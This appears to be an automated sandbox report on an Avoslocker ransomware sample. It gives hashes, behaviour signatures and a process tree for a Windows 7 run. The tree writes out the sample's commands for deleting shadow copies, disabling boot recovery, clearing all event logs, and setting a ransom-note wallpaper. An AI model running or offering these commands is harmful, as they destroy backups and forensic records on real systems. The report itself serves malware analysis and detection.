Overview

overview

10

Static

static

3

sex.exe

windows7-x64

10

sex.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    60s
  • max time network
    127s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    29-12-2024 00:19

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General

  • Target

    sex.exe

  • Size

    1.6MB

  • MD5

    6bd9e9d6f55a5491d8b24768023ab9d7

  • SHA1

    2a5c3b978530bb2cdc981ccf52dd58a41010bc4e

  • SHA256

    7859dd2f4c9797122bfe2097c5d17279c4050471c67110f95906ac152fec76a2

  • SHA512

    1cd39b1d85bd9ae6d1399cd8d0e4d878b0602cd068750bb349b9c6d143d571baaab81e559e1f8cfb769ad5e1b1e0aad605b1f912ca768c554229215e218f8e18

  • SSDEEP

    24576:1Imw98okVgela0as5CqLVO7XJCjkD3N0HRAxV0aEhbHdn0TrldepPZ:LL5ljasaUKeaEhDF

Score
10/10
avoslockerdefense_evasiondiscoveryevasionexecutionimpactransomwareupx

Malware Config

Signatures

  • Avoslocker Ransomware

    Avoslocker is a relatively new ransomware, that was observed in late June and early July, 2021.

    ransomwareavoslocker
  • Avoslocker family
    avoslocker
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Renames multiple (9660) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Executes dropped EXE 1 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 64 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\sex.exe
    "C:\Users\Admin\AppData\Local\Temp\sex.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2728
    • C:\Users\Admin\AppData\Local\Temp\hack.exe
      "C:\Users\Admin\AppData\Local\Temp\hack.exe"
      2⤵
      • Executes dropped EXE
      • Drops desktop.ini file(s)
      • Enumerates connected drives
      • Drops file in Program Files directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2816
      • C:\Windows\system32\cmd.exe
        cmd /c wmic shadowcopy delete /nointeractive
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2724
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete /nointeractive
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2836
      • C:\Windows\system32\cmd.exe
        cmd /c vssadmin.exe Delete Shadows /All /Quiet
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2772
        • C:\Windows\system32\vssadmin.exe
          vssadmin.exe Delete Shadows /All /Quiet
          4⤵
          • Interacts with shadow copies
          PID:1152
      • C:\Windows\system32\cmd.exe
        cmd /c bcdedit /set {default} recoveryenabled No
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2764
        • C:\Windows\system32\bcdedit.exe
          bcdedit /set {default} recoveryenabled No
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:1492
      • C:\Windows\system32\cmd.exe
        cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3008
        • C:\Windows\system32\bcdedit.exe
          bcdedit /set {default} bootstatuspolicy ignoreallfailures
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:2496
      • C:\Windows\system32\cmd.exe
        cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2628
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1844
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "$a = [System.IO.File]::ReadAllText(\"C:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        PID:5212
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\917445110.png /f
          4⤵
            PID:5480
          • C:\Windows\system32\rundll32.exe
            "C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False
            4⤵
              PID:5568
        • C:\Users\Admin\AppData\Local\Temp\Firefox Installer.exe
          "C:\Users\Admin\AppData\Local\Temp\Firefox Installer.exe"
          2⤵
            PID:316
            • C:\Users\Admin\AppData\Local\Temp\7zSC3151818\setup-stub.exe
              .\setup-stub.exe
              3⤵
                PID:5660
          • C:\Windows\system32\vssvc.exe
            C:\Windows\system32\vssvc.exe
            1⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3780

          Network

          MITRE ATT&CK Enterprise v15

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          Downloads

          • C:\GET_YOUR_FILES_BACK.txt
            Filesize

            1011B

            MD5

            c92c2b70fb37f84aab38412ad9226aa8

            SHA1

            14f2e9a83285612d0a7b2c83b8f89bccfde6c154

            SHA256

            d64639e873c0873b469cd856d1ef4bce7dc14a80fac6fe2bed9d629f05acc77f

            SHA512

            04f9dcb3cd49909712535255b6eadd7fafcb2902bf1abd5a25e9bb5f5c4dc032611aec0a5b0ec89cd7dbc65276b935c54b906b391507d2e3e3aa65466b15f848

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          • C:\Users\Admin\AppData\Local\Temp\Firefox Installer.exe
            Filesize

            364KB

            MD5

            530894a1f0eb42c7837db4d74829f5c6

            SHA1

            99909db6f574ca964a9b822b9b19fd2e851b8c1e

            SHA256

            aac3ce797f50e0a5b9f1b43aaaffb439d4c42e3cf5b9fbeac52fa3d263fde3d0

            SHA512

            0836dd919c5f5648ce3445f9a3c84afe5e1e694ff998f1204498b2a86b13ed297469bea88af0ad7e49c97cd57153c7c43fd0a311b4c2685f4dfca5574d1d10f0

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          • C:\Users\Admin\AppData\Local\Temp\hack.exe
            Filesize

            807KB

            MD5

            e27b5291c8fb2dfdeb7f16bb6851df5e

            SHA1

            40207f83b601cd60905c1f807ac0889c80dfe33f

            SHA256

            ffd933ad53f22a0f10cceb4986087258f72dffdd36999b7014c6b37c157ee45f

            SHA512

            2ddbc50cd780ffbf73c354b9b437322eb49cb05bb6f287d54e7dcafb61dc4c4549e37ae2f972f3d240bfa7d2ca485b7583137f1bf038bc901f378cea0c305c6a

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          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
            Filesize

            7KB

            MD5

            14d1c3ed179e88163d9c1314e7ee1461

            SHA1

            4cfd9bd84792497d4dbe231b49a74315a05b94f7

            SHA256

            e49759a08f9ee5b2a95d2d506fbf322568e661a584ee986b69514159383a3a6b

            SHA512

            fc4d7965c73fcc011e5201caa0aff1d17622557215ee0ee4a6a9d7edaebae1eff4f8650330ad69cc42761250524a930eaea575a498a36398ae21dcc75e7aecf4

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          • \Users\Admin\AppData\Local\Temp\7zSC3151818\setup-stub.exe
            Filesize

            630KB

            MD5

            ea482758c49d3c0064c6a40e797ab046

            SHA1

            e93f077ca6fd640e28eb9bd692f44d57ed96fa1a

            SHA256

            8c6eb21ff36dcb4b2adcf556039a9ef518a3e25a1fa02bd2b8d5d8ecd344d06c

            SHA512

            f950457146fa6de0eddfb8219b782f019d97b45a6b2d6fb66e6f3fed28b62a15c86cd22c96a3e402b06c6bb7f14c923925e2abb7e49422dcc7e2b681b7c1c3da

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          • \Users\Admin\AppData\Local\Temp\nsp4CDA.tmp\System.dll
            Filesize

            22KB

            MD5

            b361682fa5e6a1906e754cfa08aa8d90

            SHA1

            c6701aee0c866565de1b7c1f81fd88da56b395d3

            SHA256

            b711c4f17690421c9dc8ddb9ed5a9ddc539b3a28f11e19c851e25dcfc7701c04

            SHA512

            2778f91c9bcf83277d26c71118a1ccb0fb3ce50e89729f14f4915bc65dd48503a77b1e5118ce774dea72f5ce3cc8681eb9ca3c55cf90e9f61a177101ba192ae9

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          • memory/316-24583-0x0000000000400000-0x0000000000446000-memory.dmp

            Filesize

            280KB

            Download

          • memory/316-24558-0x0000000000400000-0x0000000000446000-memory.dmp

            Filesize

            280KB

            Download

          • memory/1844-2224-0x0000000002590000-0x0000000002598000-memory.dmp

            Filesize

            32KB

            Download

          • memory/1844-2135-0x000000001B2A0000-0x000000001B582000-memory.dmp

            Filesize

            2.9MB

            Download

          • memory/2728-3436-0x000000013F0E0000-0x000000013F279000-memory.dmp

            Filesize

            1.6MB

            Download

          • memory/5212-24572-0x000000001B290000-0x000000001B572000-memory.dmp

            Filesize

            2.9MB

            Download

          • memory/5212-24573-0x0000000002510000-0x0000000002518000-memory.dmp

            Filesize

            32KB

            Download